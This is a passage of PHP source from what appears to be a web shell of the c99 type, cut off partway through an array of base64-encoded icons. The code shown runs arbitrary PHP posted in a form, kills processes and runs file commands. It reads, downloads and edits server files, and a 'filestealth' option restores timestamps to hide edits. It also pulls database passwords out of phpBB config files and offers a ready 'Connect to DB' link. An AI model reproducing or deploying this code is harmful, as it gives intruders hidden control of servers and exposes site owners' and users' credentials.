6280 else {
6281
6282 if (empty($processes_sort)) {$processes_sort = $sort_default;}
6283
6284 $parsesort = parsesort($processes_sort);
6285
6286 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
6287
6288 $k = $parsesort[0];
6289
6290 if ($parsesort[1] != "a") {
6291
6292 $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
6293
6294 }
6295
6296 else {
6297
6298 $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
6299
6300 }
6301
6302 $ret = htmlspecialchars($ret);
6303
6304 if (!$win) {
6305
6306 if ($pid) {
6307
6308 if (is_null($sig)) {$sig = 9;}
6309
6310 echo "Sending signal ".$sig." to #".$pid."... ";
6311
6312 if (posix_kill($pid,$sig)) {echo "OK.";}
6313
6314 else {echo "ERROR.";}
6315
6316 }
6317
6318 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
6319
6320 $stack = explode("\n",$ret);
6321
6322 $head = explode(" ",$stack[0]);
6323
6324 unset($stack[0]);
6325
6326 for($i=0;$i<count($head);$i++) {
6327
6328 if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
6329
6330 }
6331
6332 $prcs = array();
6333
6334 foreach ($stack as $line) {
6335
6336 if (!empty($line)) {
6337
6338 echo "<tr>";
6339
6340 $line = explode(" ",$line);
6341
6342 $line[10] = join(" ",array_slice($line,10));
6343
6344 $line = array_slice($line,0,11);
6345
6346 if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
6347
6348 $line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
6349
6350 $prcs[] = $line;
6351
6352 echo "</tr>";
6353
6354 }
6355
6356 }
6357
6358 }
6359
6360 else {
6361
6362 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
6363
6364 while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
6365
6366 $ret = convert_cyr_string($ret,"d","w");
6367
6368 $stack = explode("\n",$ret);
6369
6370 unset($stack[0],$stack[2]);
6371
6372 $stack = array_values($stack);
6373
6374 $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
6375
6376 $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
6377
6378 $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
6379
6380 $head = explode(" ",$stack[0]);
6381
6382 $stack = array_slice($stack,1);
6383
6384 $head = array_values($head);
6385
6386 if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
6387
6388 else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
6389
6390 if ($k > count($head)) {$k = count($head)-1;}
6391
6392 for($i=0;$i<count($head);$i++) {
6393
6394 if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
6395
6396 }
6397
6398 $prcs = array();
6399
6400 unset($stack[0]);
6401
6402 foreach ($stack as $line) {
6403
6404 if (!empty($line)) {
6405
6406 $line = explode(" ",$line);
6407
6408 $line[4] = str_replace(".","",$line[4]);
6409
6410 $line[4] = intval($line[4]) * 1024;
6411
6412 unset($line[5]);
6413
6414 $prcs[] = $line;
6415
6416 }
6417
6418 }
6419
6420 }
6421
6422 $head[$k] = "<b>".$head[$k]."</b>".$y;
6423
6424 $v = $processes_sort[0];
6425
6426 usort($prcs,"tabsort");
6427
6428 if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
6429
6430 $tab = array();
6431
6432 $tab[] = $head;
6433
6434 $tab = array_merge($tab,$prcs);
6435
6436 echo "<table class=explorer>";
6437
6438 foreach($tab as $i=>$k) {
6439
6440 echo "<tr>";
6441
6442 foreach($k as $j=>$v) {
6443
6444 if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
6445
6446 echo "<td>".$v."</td>";
6447
6448 }
6449
6450 echo "</tr>";
6451
6452 }
6453
6454 echo "</table>";
6455
6456 }
6457
6458}
6459
6460if ($x == "eval") {
6461
6462 if (!empty($eval)) {
6463
6464 echo "Result of execution this PHP-code:<br>";
6465
6466 $tmp = ob_get_contents();
6467
6468 $olddir = realpath(".");
6469
6470 @chdir($d);
6471
6472 if ($tmp) {
6473
6474 ob_clean();
6475
6476 eval($eval);
6477
6478 $ret = ob_get_contents();
6479
6480 $ret = convert_cyr_string($ret,"d","w");
6481
6482 ob_clean();
6483
6484 echo $tmp;
6485
6486 if ($eval_txt) {
6487
6488 $rows = count(explode("\r\n",$ret))+1;
6489
6490 if ($rows < 10) {$rows = 10;}
6491
6492 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
6493
6494 }
6495
6496 else {echo $ret."<br>";}
6497
6498 }
6499
6500 else {
6501
6502 if ($eval_txt) {
6503
6504 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
6505
6506 eval($eval);
6507
6508 echo "</textarea>";
6509
6510 }
6511
6512 else {echo $ret;}
6513
6514 }
6515
6516 @chdir($olddir);
6517
6518 }
6519
6520 else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
6521
6522 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=x value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
6523
6524}
6525
6526if ($x == "f") {
6527
6528 echo "<div align=left>";
6529
6530 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
6531
6532 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
6533
6534 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
6535
6536 }
6537
6538 else {
6539
6540 $r = @file_get_contents($d.$f);
6541
6542 $ext = explode(".",$f);
6543
6544 $c = count($ext)-1;
6545
6546 $ext = $ext[$c];
6547
6548 $ext = strtolower($ext);
6549
6550 $rft = "";
6551
6552 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
6553
6554 if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
6555
6556 if (empty($ft)) {$ft = $rft;}
6557
6558 $arr = array(
6559
6560 array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"),
6561
6562 array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"),
6563
6564 array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"),
6565
6566 array("Code","code"),
6567
6568 array("Session","phpsess"),
6569
6570 array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"),
6571
6572 array("SDB","sdb"),
6573
6574 array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"),
6575
6576 array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"),
6577
6578 array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"),
6579
6580 array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"),
6581
6582 array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit")
6583
6584 );
6585
6586 echo "<b>Viewing file: <img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
6587
6588 foreach($arr as $t) {
6589
6590 if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
6591
6592 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
6593
6594 else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
6595
6596 echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
6597
6598 }
6599
6600 echo "<hr size=\"1\" noshade>";
6601
6602 if ($ft == "info") {
6603
6604 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
6605
6606 if (!$win) {
6607
6608 echo "<tr><td><b>Owner/Group</b></td><td> ";
6609
6610 $ow = posix_getpwuid(fileowner($d.$f));
6611
6612 $gr = posix_getgrgid(filegroup($d.$f));
6613
6614 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
6615
6616 }
6617
6618 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
6619
6620 $fi = fopen($d.$f,"rb");
6621
6622 if ($fi) {
6623
6624 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
6625
6626 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
6627
6628 $n = 0;
6629
6630 $a0 = "00000000<br>";
6631
6632 $a1 = "";
6633
6634 $a2 = "";
6635
6636 for ($i=0; $i<strlen($str); $i++) {
6637
6638 $a1 .= sprintf("%02X",ord($str[$i]))." ";
6639
6640 switch (ord($str[$i])) {
6641
6642 case 0: $a2 .= "<font>0</font>"; break;
6643
6644 case 32:
6645
6646 case 10:
6647
6648 case 13: $a2 .= " "; break;
6649
6650 default: $a2 .= htmlspecialchars($str[$i]);
6651
6652 }
6653
6654 $n++;
6655
6656 if ($n == $hexdump_rows) {
6657
6658 $n = 0;
6659
6660 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
6661
6662 $a1 .= "<br>";
6663
6664 $a2 .= "<br>";
6665
6666 }
6667
6668 }
6669
6670 echo "<table border=1 bgcolor=#666666>".
6671
6672 "<tr><td bgcolor=#666666>".$a0."</td>".
6673
6674 "<td bgcolor=#000000>".$a1."</td>".
6675
6676 "<td bgcolor=#000000>".$a2."</td>".
6677
6678 "</tr></table><br>";
6679
6680 }
6681
6682 $encoded = "";
6683
6684 if ($base64 == 1) {
6685
6686 echo "<b>Base64 Encode</b><br>";
6687
6688 $encoded = base64_encode(file_get_contents($d.$f));
6689
6690 }
6691
6692 elseif($base64 == 2) {
6693
6694 echo "<b>Base64 Encode + Chunk</b><br>";
6695
6696 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
6697
6698 }
6699
6700 elseif($base64 == 3) {
6701
6702 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
6703
6704 $encoded = base64_encode(file_get_contents($d.$f));
6705
6706 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
6707
6708 }
6709
6710 elseif($base64 == 4) {
6711
6712 $text = file_get_contents($d.$f);
6713
6714 $encoded = base64_decode($text);
6715
6716 echo "<b>Base64 Decode";
6717
6718 if (base64_encode($encoded) != $text) {echo " (failed)";}
6719
6720 echo "</b><br>";
6721
6722 }
6723
6724 if (!empty($encoded))
6725
6726 {
6727
6728 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
6729
6730 }
6731
6732 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
6733
6734 <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
6735
6736 <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
6737
6738 <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
6739
6740 <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
6741
6742 <P>";
6743
6744 }
6745
6746 elseif ($ft == "html") {
6747
6748 if ($white) {@ob_clean();}
6749
6750 echo $r;
6751
6752 if ($white) {capriv8exit();}
6753
6754 }
6755
6756 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
6757
6758 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
6759
6760 elseif ($ft == "phpsess") {
6761
6762 echo "<pre>";
6763
6764 $v = explode("|",$r);
6765
6766 echo $v[0]."<br>";
6767
6768 var_dump(unserialize($v[1]));
6769
6770 echo "</pre>";
6771
6772 }
6773
6774 elseif ($ft == "exe") {
6775
6776 $ext = explode(".",$f);
6777
6778 $c = count($ext)-1;
6779
6780 $ext = $ext[$c];
6781
6782 $ext = strtolower($ext);
6783
6784 $rft = "";
6785
6786 foreach($exeftypes as $k=>$v)
6787
6788 {
6789
6790 if (in_array($ext,$v)) {$rft = $k; break;}
6791
6792 }
6793
6794 $cmd = str_replace("%f%",$f,$rft);
6795
6796 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
6797
6798 }
6799
6800 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
6801
6802 elseif ($ft == "code") {
6803
6804 if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
6805
6806 $arr = explode("\n",$r);
6807
6808 if (count($arr == 18)) {
6809
6810 include($d.$f);
6811
6812 echo "<b>phpBB configuration is detected in this file!<br>";
6813
6814 if ($dbms == "mysql4") {$dbms = "mysql";}
6815
6816 if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
6817
6818 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
6819
6820 echo "Parameters for manual connect:<br>";
6821
6822 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
6823
6824 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
6825
6826 echo "</b><hr size=\"1\" noshade>";
6827
6828 }
6829
6830 }
6831
6832 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
6833
6834 if (!empty($white)) {@ob_clean();}
6835
6836 highlight_file($d.$f);
6837
6838 if (!empty($white)) {capriv8exit();}
6839
6840 echo "</div>";
6841
6842 }
6843
6844 elseif ($ft == "download") {
6845
6846 @ob_clean();
6847
6848 header("Content-type: application/octet-stream");
6849
6850 header("Content-length: ".filesize($d.$f));
6851
6852 header("Content-disposition: attachment; filename=\"".$f."\";");
6853
6854 echo $r;
6855
6856 exit;
6857
6858 }
6859
6860 elseif ($ft == "notepad") {
6861
6862 @ob_clean();
6863
6864 header("Content-type: text/plain");
6865
6866 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
6867
6868 echo($r);
6869
6870 exit;
6871
6872 }
6873
6874 elseif ($ft == "img") {
6875
6876 $inf = getimagesize($d.$f);
6877
6878 if (!$white) {
6879
6880 if (empty($imgsize)) {$imgsize = 20;}
6881
6882 $width = $inf[0]/100*$imgsize;
6883
6884 $height = $inf[1]/100*$imgsize;
6885
6886 echo "<center><b>Size:</b> ";
6887
6888 $sizes = array("100","50","20");
6889
6890 foreach ($sizes as $v) {
6891
6892 echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
6893
6894 if ($imgsize != $v ) {echo $v;}
6895
6896 else {echo "<u>".$v."</u>";}
6897
6898 echo "</a> ";
6899
6900 }
6901
6902 echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
6903
6904 }
6905
6906 else {
6907
6908 @ob_clean();
6909
6910 $ext = explode($f,".");
6911
6912 $ext = $ext[count($ext)-1];
6913
6914 header("Content-type: ".$inf["mime"]);
6915
6916 readfile($d.$f);
6917
6918 exit;
6919
6920 }
6921
6922 }
6923
6924 elseif ($ft == "edit") {
6925
6926 if (!empty($submit))
6927
6928 {
6929
6930 if ($filestealth) {$stat = stat($d.$f);}
6931
6932 $fp = fopen($d.$f,"w");
6933
6934 if (!$fp) {echo "<b>Can't write to file!</b>";}
6935
6936 else
6937
6938 {
6939
6940 echo "<b>Saved!</b>";
6941
6942 fwrite($fp,$edit_text);
6943
6944 fclose($fp);
6945
6946 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
6947
6948 $r = $edit_text;
6949
6950 }
6951
6952 }
6953
6954 $rows = count(explode("\r\n",$r));
6955
6956 if ($rows < 10) {$rows = 10;}
6957
6958 if ($rows > 30) {$rows = 30;}
6959
6960 echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
6961
6962 }
6963
6964 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
6965
6966 else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
6967
6968}
6969
6970echo "</div>\n";
6971
6972}
6973
6974}
6975
6976
6977else {
6978
6979@ob_clean();
6980
6981$images = array(
6982
6983"arrow_ltr"=>
6984
6985"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
6986
6987"back"=>
6988
6989"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
6990
6991"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
6992
6993"Wg0JADs=",
6994
6995"buffer"=>
6996
6997"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
6998
6999"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
7000
7001"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
7002
7003"change"=>
7004
7005"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
7006
7007"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
7008
7009"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
7010
7011"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
7012
7013"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
7014
7015"zMshADs=",
7016
7017"delete"=>
7018
7019"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
7020
7021"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
7022
7023"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
7024
7025"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
7026
7027"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
7028
7029"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7030
7031"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
7032
7033"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
7034
7035"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
7036
7037"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
7038
7039"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
7040
7041"download"=>
7042
7043"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
7044
7045"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
7046
7047"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
7048
7049"forward"=>
7050
7051"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
7052
7053"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
7054
7055"WqsJADs=",
7056
7057"home"=>
7058
7059"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
7060
7061"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
7062
7063"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
7064
7065"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
7066
7067"mode"=>
7068
7069"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
7070
7071"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
7072
7073"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
7074
7075"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
7076
7077"search"=>
7078
7079"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
7080
7081"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
7082
7083"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
7084
7085"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
7086
7087"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
7088
7089"setup"=>
7090
7091"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
7092
7093"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
7094
7095"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
7096
7097"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
7098
7099"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
7100
7101"small_dir"=>
7102
7103"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
7104
7105"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
7106
7107"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
7108
7109"small_unk"=>
7110
7111"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
7112
7113"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
7114
7115"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
7116
7117"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
7118
7119"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
7120
7121"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
7122
7123"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
7124
7125"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
7126
7127"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7128
7129"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7130
7131"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7132
7133"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
7134
